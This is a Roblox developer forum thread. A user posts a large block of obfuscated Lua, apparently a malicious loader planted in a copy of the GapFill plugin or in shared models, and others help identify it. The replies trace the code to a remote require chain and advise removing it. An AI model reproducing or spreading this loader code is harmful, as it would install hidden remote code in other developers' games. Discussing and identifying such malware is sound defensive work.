FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili][FillGaplIliIIl1Ill11l1i11l] = FillGapll1I1i1iI11i1ili1il end elseif FillGapi1IllilIIili1i11lli ~= 14 then FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili] = #FillGapIiII1IIll1iI1i1llli[FillGaplIliIIl1Ill11l1i11l] else FillGapliIIiIii1III1IIiiII[FillGapI1ilIiIliIl1II1llll[FillGapIlIIIl1iil1lII1i11I][FillGaplII1I1iiIliiIiI1Iii]] = FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili] end elseif FillGapi1IllilIIili1i11lli < 4 then if FillGapi1IllilIIili1i11lli >= 2 then if FillGapi1IllilIIili1i11lli == 3 then if FillGapll1I1i1iI11i1ili1il > 255 then FillGapll1I1i1iI11i1ili1il = FillGapI1ilIiIliIl1II1llll[FillGapll1I1i1iI11i1ili1il - 256][FillGaplII1I1iiIliiIiI1Iii] else FillGapll1I1i1iI11i1ili1il = FillGapIiII1IIll1iI1i1llli[FillGapll1I1i1iI11i1ili1il] end FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili] = FillGapIiII1IIll1iI1i1llli[FillGaplIliIIl1Ill11l1i11l][FillGapll1I1i1iI11i1ili1il] else local FillGapiil11ill1II1iililil, FillGaplIli1iIIIllli1IIi1lll if FillGaplIliIIl1Ill11l1i11l ~= 1 then if FillGaplIliIIl1Ill11l1i11l ~= 0 then FillGaplIli1iIIIllli1IIi1lll = FillGaplIl1iIiillI1II11Ili + FillGaplIliIIl1Ill11l1i11l - 1 else FillGaplIli1iIIIllli1IIi1lll = FillGapllliIllillI11I1ii11 end FillGaplIli1iIIIllli1IIi1lll, FillGapiil11ill1II1iililil = FillGaplli1l1i11iiiIIlI1il(FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili](FillGapl1llIIIII1I1lIlllIi(FillGapIiII1IIll1iI1i1llli, FillGaplIl1iIiillI1II11Ili + 1, FillGaplIli1iIIIllli1IIi1lll))) else FillGaplIli1iIIIllli1IIi1lll, FillGapiil11ill1II1iililil = FillGaplli1l1i11iiiIIlI1il(FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili]()) end FillGapIiII1IIll1iI1i1llli = FillGapiil11ill1II1iililil return true, 1, FillGaplIli1iIIIllli1IIi1lll end elseif FillGapi1IllilIIili1i11lli == 1 then if FillGapll1I1i1iI11i1ili1il == 246 then FillGaplIl111I1iiIl1i1l1ii1l = FillGaplIl111I1iiIl1i1l1ii1l - 1 FillGapliiI1iiI1lIi1I1Illl[FillGaplIl111I1iiIl1i1l1ii1l] = { [100283] = 6, [89495] = (FillGaplIl1iIiillI1II11Ili - 37) % 256, [114761] = (FillGaplIliIIl1Ill11l1i11l - 37) % 256, [89664] = 0 } else FillGapl111iiIIIliliI11lii[FillGaplIliIIl1Ill11l1i11l] = FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili] end else FillGaplIl111I1iiIl1i1l1ii1l = FillGaplIl111I1iiIl1i1l1ii1l + FillGapi1111Ii1l1IlllI1I1l end elseif FillGapi1IllilIIili1i11lli >= 6 then if FillGapi1IllilIIili1i11lli >= 7 then if FillGapi1IllilIIili1i11lli ~= 8 then if FillGaplIliIIl1Ill11l1i11l > 255 then FillGaplIliIIl1Ill11l1i11l = FillGapI1ilIiIliIl1II1llll[FillGaplIliIIl1Ill11l1i11l - 256][FillGaplII1I1iiIliiIiI1Iii] else FillGaplIliIIl1Ill11l1i11l = FillGapIiII1IIll1iI1i1llli[FillGaplIliIIl1Ill11l1i11l] end if FillGapll1I1i1iI11i1ili1il > 255 then FillGapll1I1i1iI11i1ili1il = FillGapI1ilIiIliIl1II1llll[FillGapll1I1i1iI11i1ili1il - 256][FillGaplII1I1iiIliiIiI1Iii] else FillGapll1I1i1iI11i1ili1il = FillGapIiII1IIll1iI1i1llli[FillGapll1I1i1iI11i1ili1il] end if FillGaplIliIIl1Ill11l1i11l <= FillGapll1I1i1iI11i1ili1il ~= (FillGaplIl1iIiillI1II11Ili ~= 0) then FillGaplIl111I1iiIl1i1l1ii1l = FillGaplIl111I1iiIl1i1l1ii1l + 1 end else local FillGapiI11lliIl1IlIII1IIi = FillGaplIl1iIiillI1II11Ili + 2 local FillGapilli1IilI11I1Ili11l = { FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili](FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili + 1], FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili + 2]) } for FillGaplIl1i1IliI1llIl1i1Ili = 1, FillGapll1I1i1iI11i1ili1il do FillGapIiII1IIll1iI1i1llli[FillGapiI11lliIl1IlIII1IIi + FillGaplIl1i1IliI1llIl1i1Ili] = FillGapilli1IilI11I1Ili11l[FillGaplIl1i1IliI1llIl1i1Ili] end if FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili + 3] ~= nil then FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili + 2] = FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili + 3] else FillGaplIl111I1iiIl1i1l1ii1l = FillGaplIl111I1iiIl1i1l1ii1l + 1 end end elseif FillGapll1I1i1iI11i1ili1il == 48 then FillGaplIl111I1iiIl1i1l1ii1l = FillGaplIl111I1iiIl1i1l1ii1l - 1 FillGapliiI1iiI1lIi1I1Illl[FillGaplIl111I1iiIl1i1l1ii1l] = { [100283] = 8, [89495] = (FillGaplIl1iIiillI1II11Ili - 187) % 256, [128101] = (FillGaplIliIIl1Ill11l1i11l - 187) % 256, [89664] = 0 } else if FillGaplIliIIl1Ill11l1i11l == 1 then return true end local FillGaplIli1iIIIllli1IIi1lll = FillGaplIl1iIiillI1II11Ili + FillGaplIliIIl1Ill11l1i11l - 2 if FillGaplIliIIl1Ill11l1i11l == 0 then FillGaplIli1iIIIllli1IIi1lll = FillGapllliIllillI11I1ii11 end return true, FillGaplIl1iIiillI1II11Ili, FillGaplIli1iIIIllli1IIi1lll end elseif FillGapi1IllilIIili1i11lli ~= 5 then for FillGaplIl1i1IliI1llIl1i1Ili = FillGaplIl1iIiillI1II11Ili, #FillGapIiII1IIll1iI1i1llli do local FillGaplIllill11ll1lIII1i1il = FillGapilii1iIII1ilIi111lI for FillGaplllII11Iil1I1lllIiI = 1, #FillGapli11iIiiiillIIliIII do local FillGapiIIIi11i1Iilii1iiIl = FillGapli11iIiiiillIIliIII[FillGaplllII11Iil1I1lllIiI] for FillGapli1lI1Il1I1iiIl1l1I, FillGapII1iIl11l1IiI11ili1 in next, FillGapiIIIi11i1Iilii1iiIl, nil do if FillGapIiII1IIll1iI1i1llli == FillGapII1iIl11l1IiI11ili1[1] and FillGapII1iIl11l1IiI11ili1[2] == FillGaplIl1i1IliI1llIl1i1Ili then if not FillGaplIlii11iIl1lIII1i1lli[FillGaplIllill11ll1lIII1i1il] then FillGaplIlii11iIl1lIII1i1lli[FillGaplIllill11ll1lIII1i1il] = FillGapIiII1IIll1iI1i1llli[FillGaplIl1i1IliI1llIl1i1Ili] FillGapilii1iIII1ilIi111lI = FillGapilii1iIII1ilIi111lI + 1 end FillGapiIIIi11i1Iilii1iiIl[FillGapli1lI1Il1I1iiIl1l1I] = {FillGaplIlii11iIl1lIII1i1lli, FillGaplIllill11ll1lIII1i1il} end end end end else for FillGaplIl1i1IliI1llIl1i1Ili = FillGaplIl1iIiillI1II11Ili, FillGaplIliIIl1Ill11l1i11l do FillGapIiII1IIll1iI1i1llli[FillGaplIl1i1IliI1llIl1i1Ili] = nil end end end end local FillGapl111IilliIli1liIiIi, FillGaplIli1l1i1lliIIi1i1ii1, FillGapiIIIlliiliil1li1Iil, FillGapiI11li11ilI1l1li1li = FillGapIli1iIiiiI1iIliIllI(FillGapiIIIl1lIli1IIIIliii) if FillGapl111IilliIli1liIiIi then if FillGapiIIIlliiliil1li1Iil then return FillGapl1llIIIII1I1lIlllIi(FillGapIiII1IIll1iI1i1llli, FillGapiIIIlliiliil1li1Iil, FillGapiI11li11ilI1l1li1li) end else local FillGapl1Il1iIiiIiIil1i11i = FillGaplIll1Ill11llIii1Il1ll("Luraph Script:" .. (FillGapIIilIi1ililli111liI[FillGaplIl111I1iiIl1i1l1ii1l - 1] or "") .. ": " .. FillGapIllI1iiIII1iIlII1ll(FillGaplIli1l1i1lliIIi1i1ii1), "[^:]+:%d*: ", function(FillGapl1li1iIi1IlIIIIl11I) if not FillGapI1I1IlllllIIlIIIlll(FillGapl1li1iIi1IlIIIIl11I, "Luraph Script:%d") then return "" end end) FillGaplIlliIliiiI11lilIII1i(FillGapl1Il1iIiiIiIil1i11i, 0) end end FillGapIli1I11IiilliIlIiIi(FillGapl1I1i1i1IlIlIlli1l1, FillGapliIIiIii1III1IIiiII) return FillGapl1I1i1i1IlIlIlli1l1 end local FillGaplIlIlIi1liIll1IillIIi = FillGapllI1IiI1li1lI1llIii() return FillGapiiIIi1IIIli11ll1iII(FillGaplIlIlIi1liIll1IillIIi, FillGapliIIiIii1III1IIiiII)() end FillGaplIlilIlI11iiIllli1I1I("LPH!EB0400532DDD714H00670A02002H040604052H04383H04383H043C3H0428052H042C3H041C8E0A02009F5H00E494400052013H000267C8542A159H009H001H00019H006H00019H002H00017H00019H009H005H00013H00013H007D0A02002HFB05040504064H0438052H04283H04282HFB053H040604052H0428050400202H040604BC0504100600042C2HFB052H040006082H040604052H04280504060411D80441F8FB05040506042C22E891001184E0436E18A2323BD3980E7173AB17E36A4F180D653A370064F81CDD0C3344910A02001D0A3H003HEB998E9A9E82998E9F2H00B02E7D0DF3411D073H003HEB87848A8F1D033H003HEB00266H00", FillGaplII1il1IillilIlilii()) ```

which gapfill plugin is it?
if it is not a popular one with a lot of downloads, it is probably a copy with a virus put in

My tip when you find plugins like these, uninstall it, remove the plugin, cleanup your game, and find the real one with real favorites and real installs.

Looking at the script won’t really help with anything, unless you want to find the culprit :man_shrugging:, but that won’t really do anything either :thinking:.

For future reference, if you see a sketchy script with sketchy things and an absurdly long unreadable text of code, delete it and clean your game to make sure its gone.

I has this happen to me before with a plug-in. You can possibly delete it and the plugin should work fine. It is also probably a virsus and would refrain from using that plugin.

Are you sure you are using the real one?

You probably installed one of these.

Alright so I got some help dissecting this. The script requires this module:

https://www.roblox.com/library/5114417899/a

It just seems to be a chain of requires. Just delete the copy and get the original one. And always inspect your plugins whenever you get them via game:GetObjects("rbxassetid://{ID}")[1].Parent = workspace

where {ID} would be the plugin’s ID

Okay, thank you everyone for help. I found out it wasn’t the plugin I had, but another person who used that plugin and gave me some models …